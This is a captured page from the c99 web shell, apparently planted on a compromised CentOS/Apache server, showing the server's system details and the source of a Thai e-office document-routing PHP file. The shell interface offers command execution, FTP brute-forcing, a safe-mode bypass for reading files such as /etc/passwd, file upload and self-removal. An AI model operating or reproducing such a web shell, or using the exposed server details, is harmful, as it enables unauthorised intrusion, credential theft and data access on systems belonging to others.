!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/admin/   drwxr-xr-x
Free 52.61 GB of 127.8 GB (41.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showlinedocTable2.php (2.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"funct.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsPerson.php";
include_once 
"../class/clsDepartment.php";
include_once 
"getPrefix.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDoc = new Documents($oC);
$oDoc1 = new Documents($oC);
$oRs = new DocReceiveSend($oC);
$oRs5 = new DocReceiveSend($oC);
$oDlp = new docLinePosition($oC);
$oDlc = new DocLineConfig($oC);
$oPS = new person($oC);
$oDP = new Department($oC);
$oDoc->SearchByKey($searchDoc); $oDoc->GetRecord(); 
?>
<html>
<head>
<title>ตรวจสอบเส้นทางการเกษียณหนังสือ</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body><br>
<fieldset>
<legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"> &nbsp;<strong><img src="../picture/map.gif" alt=""  border="0" >&nbsp;ตรวจสอบเส้นทางการเกษียณหนังสือ </strong> 
</font></legend>

 </fieldset><table border="0" align="center" width="98%">
       <tr><td   align="left"><font  size="2">&nbsp;<strong>ที่หนังสือ 
            : </strong>&nbsp;<? if($oDoc->DocNo!=""){  echo $oDoc->DocNo;   } ?></font></td>
            
    </tr>
      <tr><td   align="left"><font  size="2">&nbsp;<strong>เรื่อง 
            : </strong>&nbsp;<?  if($oDoc->DocSubject!=""){ echo  $oDoc->DocSubject;  } ?></font></td></tr>
    <tr><td><hr color="#008bdc"></td></tr>
      </table>
     <?   
         $oRs
->SearchByDocIDDsID3($searchDoc);
        if(
$oRs->GetRecord()=="0"){
                    
//----------------------------------
                    
                    
$oDlc->SearchByKey($oDoc->DlcID);  
                    
$oDlc->GetRecord();    
                    
$oDlp->SearchByKey($oDlc->DlpID);  
                    
$oDlp->GetRecord();
                    
$oPS->SearchByKey($oDlc->personId); 
                    
$oPS->GetRecord();  
                    echo 
'<table width="95%" border="0" align=center>';
                    echo 
"<img src=\"../picture/reg.png\" alt=\"\"  border=\"0\" >"
                    echo 
"&nbsp;<strong>".$oDlp->DlpName."&nbsp;".$oDP->SearchDeptName($oDlc->deptId)."&nbsp;</strong>&nbsp;<font color=\"#000099\">".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName."</font><br><br>";
                    
showSignSendDoc($searchDoc);
                    echo 
'</table>';
                    
//-------------------------------------        
        
}
    
showsteplinedoc2($searchDoc,$tab);
     
?>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0066 ]--